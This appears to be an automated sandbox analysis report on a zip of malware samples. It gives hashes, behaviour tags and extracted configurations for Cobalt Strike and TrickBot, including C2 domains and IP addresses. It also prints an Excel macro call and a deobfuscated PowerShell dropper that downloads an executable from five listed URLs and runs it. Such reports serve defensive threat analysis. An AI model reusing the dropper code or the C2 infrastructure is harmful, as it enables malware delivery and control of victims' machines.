cobaltstrike | 487f4dd9bdbe94a9cf1a04a8fdec19f16f86864d05d06f0511544b3ff68c850c

General

Target

malware_samples.zip
Size

19.1MB
Sample

250416-javewstmz3
MD5

d8e816c76ab1b9bc76e73b1aa0f88f2d
SHA1

da193bad12f1b79f8c938d62e8029ba948433859
SHA256

487f4dd9bdbe94a9cf1a04a8fdec19f16f86864d05d06f0511544b3ff68c850c
SHA512

5bd84b71cb39d1d4952255cbabc45608c972757bb63a9f70606e0d2200154374f9e61f1c526ed1fe903b166e5d0b0458540b47da9c70434ae5b31a7b7d1bd02a
SSDEEP

393216:ThCblxXJLB2mW/RxHedw0OZnq0NyWl9Hh9H2KAm4zI:ThSDZLI5xHea9Zf5XHD4zI

Score

10^/10

Malware Config

Extracted

Family

cobaltstrike

Botnet

0

C2

http://ns7.softline.top:443/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books

http://ns8.softline.top:443/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books

http://ns9.softline.top:443/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books

Attributes

access_type
512
beacon_type
256
create_remote_thread
768
crypto_scheme
256
host
ns7.softline.top,/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books,ns8.softline.top,/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books,ns9.softline.top,/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books
http_header1
AAAACgAAAAtBY2NlcHQ6ICovKgAAAAoAAAAUSG9zdDogd3d3LmFtYXpvbi5jb20AAAAHAAAAAAAAAAMAAAACAAAADnNlc3Npb24tdG9rZW49AAAAAgAAAAxza2luPW5vc2tpbjsAAAABAAAALGNzbS1oaXQ9cy0yNEtVMTFCQjgyUlpTWUdKM0JES3wxNDE5ODk5MDEyOTk2AAAABgAAAAZDb29raWUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
http_header2
AAAACgAAAAtBY2NlcHQ6ICovKgAAAAoAAAAWQ29udGVudC1UeXBlOiB0ZXh0L3htbAAAAAoAAAAgWC1SZXF1ZXN0ZWQtV2l0aDogWE1MSHR0cFJlcXVlc3QAAAAKAAAAFEhvc3Q6IHd3dy5hbWF6b24uY29tAAAACQAAAApzej0xNjB4NjAwAAAACQAAABFvZT1vZT1JU08tODg1OS0xOwAAAAcAAAAAAAAABQAAAAJzbgAAAAkAAAAGcz0zNzE3AAAACQAAACJkY19yZWY9aHR0cCUzQSUyRiUyRnd3dy5hbWF6b24uY29tAAAABwAAAAEAAAADAAAABAAAAAAAAA==
http_method1
GET
http_method2
POST
maxdns
255
pipe_name
\\%s\pipe\msagent_%x
polling_time
5000
port_number
443
sc_process32
%windir%\syswow64\rundll32.exe
sc_process64
%windir%\sysnative\rundll32.exe
state_machine
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDI579oVVII0cYncGonU6vTWyFhqmq8w5QwvI8qsoWeV68Ngy+MjNPX2crcSVVWKQ3j09FII28KTmoE1XFVjEXF3WytRSlDe1OKfOAHX3XYkS9LcUAy0eRl2h4a73hrg1ir/rpisNT6hHtYaK3tmH8DgW/n1XfTfbWk1MZ7cXQHWQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
unknown1
4096
unknown2
AAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
uri
/N4215/adj/amzn.us.sr.aps
user_agent
Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
watermark
0

Extracted

Family

trickbot

Version

1000501

Botnet

ono33

C2

5.182.210.226:443

5.182.210.120:443

185.65.202.183:443

212.80.217.243:443

85.143.218.249:443

194.5.250.178:443

198.15.119.121:443

107.175.87.142:443

185.14.31.72:443

188.165.62.2:443

194.5.250.179:443

198.15.119.71:443

185.14.29.4:443

185.99.2.202:443

192.3.193.162:443

89.191.234.89:443

195.54.32.12:443

31.131.21.30:443

5.34.177.194:443

190.214.13.2:449

Attributes

autorun
Name:pwgrab

ecc_pubkey.base64

1
RUNTMzAAAADzIIbbIE3wcze1+xiwwK+Au/P78UrAO8YAHyPvHEwGVKOPphl8QVfrC7x/QaFYeXANw6E4HF7ietEp+7ZVQdWOx8c+HvO0Z2PTUPVbX9HAVrg4h9u1RNfhOHk+YysDLsg=

Extracted

Language

xlm4.0

Source

1
=CALL("C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\contract_.dll", "oakkzm", "")

Extracted

Language

ps1

Deobfuscated

1

$vhdrigpty = "Grnrlvjgqwiel"

2

$qhymddtpu = "882"

3

$qyfrfaxpspy = "Bnboragzlr"

4

$katqhsrg = $env:userprofile + "\\" + $qhymddtpu + ".exe"

5

$oajndrulr = "Sztguxzwwkuo"

6

$fuzjdsgve = new-object net.webclient

7

$vxyzyvysfm = "http://diwafashions.com/wp-admin/mqau6/", "http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/", "http://dixartcontractors.com/cgi-bin/nnuv/", "http://diaspotv.info/wordpress/G/", "http://easyvisaoverseas.com/cgi-bin/v/"

8

$puwqofghl = "Nbpxdnud"

9

foreach ($hdikcevbuczha in $vxyzyvysfm) {

10

try {

11

$fuzjdsgve.downloadfile($hdikcevbuczha, $katqhsrg)

12

$pyumbmvbvt = "Hnxyvcsn"

13

if ((get-item $katqhsrg).length -ge 28411) {

14

[diagnostics.process]::start($katqhsrg)

15

$ggwjysxz = "Xavcdmslgpx"

16

break

17

$ubafrskfyb = "Gfcxiyuamjn"

18

}

19

} catch {

20

}

URLs

exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Targets

- Target
  
  virusshare/1/VirusShare_0fea640a7da27f365b3675f73626b9c9
- Size
  
  937KB
- MD5
  
  0fea640a7da27f365b3675f73626b9c9
- SHA1
  
  fd4825f244e9c145486cb6930ad05695b9972668
- SHA256
  
  64af94592f6707505fa6f42b58776c3635706a414e6362a92f707df84627679c
- SHA512
  
  c9a10288762f3f5a3fdff17f8dd8560e7a884f1b83f405c2e85c6c86e42f69a30841c13aa0f2ecfc55aed42995d7aeb8fe40415e423ed0a306d2e7d00883dfbf
- SSDEEP
  
  24576:h3zS0aqbCrxgFhFSQVB5DjDLG6/8otVBTN9s:K9Fo5VLDLGwTBT
Score

10^/10

ta505
- TA505
  Cybercrime group active since 2015, responsible for families like Dridex and Locky.
  ta505
- Ta505 family
  ta505
- Loads dropped DLL
behavioral1 behavioral2
- Target
  
  virusshare/1/VirusShare_1ba8249d8503c0cf7bc125588c43bef9
- Size
  
  182KB
- MD5
  
  1ba8249d8503c0cf7bc125588c43bef9
- SHA1
  
  eb473c845c7474010ff35a3e8a169a9b6b9e5ebe
- SHA256
  
  a44031feb2a71980a0980377c8f7b6f3b5b9dfa0f708556dd420be323c7e1a38
- SHA512
  
  b5421ca474e8ccd30683b90a83e98c6ba74c8418201aaa923ba6c7805ef724b37dfabb74cfedccbb69e3fcf923635f64faa406f280057404f78957df3d840c8c
- SSDEEP
  
  3072:9NO2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBU9asiv8Oc7V:9NO2k4PF7tGiL3HJk9rD7b9asiv8dZ
Score

10^/10

execution
- Process spawned unexpected child process
  This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
  Run Powershell and hide display window.
  execution
- Deletes itself
behavioral3 behavioral4
- Target
  
  virusshare/1/VirusShare_3cd9a967b67fe69351e390195ca7a430
- Size
  
  32KB
- MD5
  
  3cd9a967b67fe69351e390195ca7a430
- SHA1
  
  4e7f309d283182d76377ad02616a6a5933cac649
- SHA256
  
  e96e3b90d9483a2e463fdda0edf27310ed10fbdb8a8b920c6480ca93bb2e1077
- SHA512
  
  ffe9ffe8555ef0b914bdcaea5b50eb501c4b0d03726ab6f2baa0e5cf6875d9b0ac735679dbd03810d3f03905402f382bf32e3227bd2a11c0eef173082cb02273
- SSDEEP
  
  768:XDNivfrO+Av3qpOCy71ShZ2/p1oaVBV2iKL2GmqBmmSE5fXuMZmwgCLWar8v:XB6zrAv3qpOCy71ShZ2R1osBV2iKL25p
Score

3^/10

discovery
behavioral5 behavioral6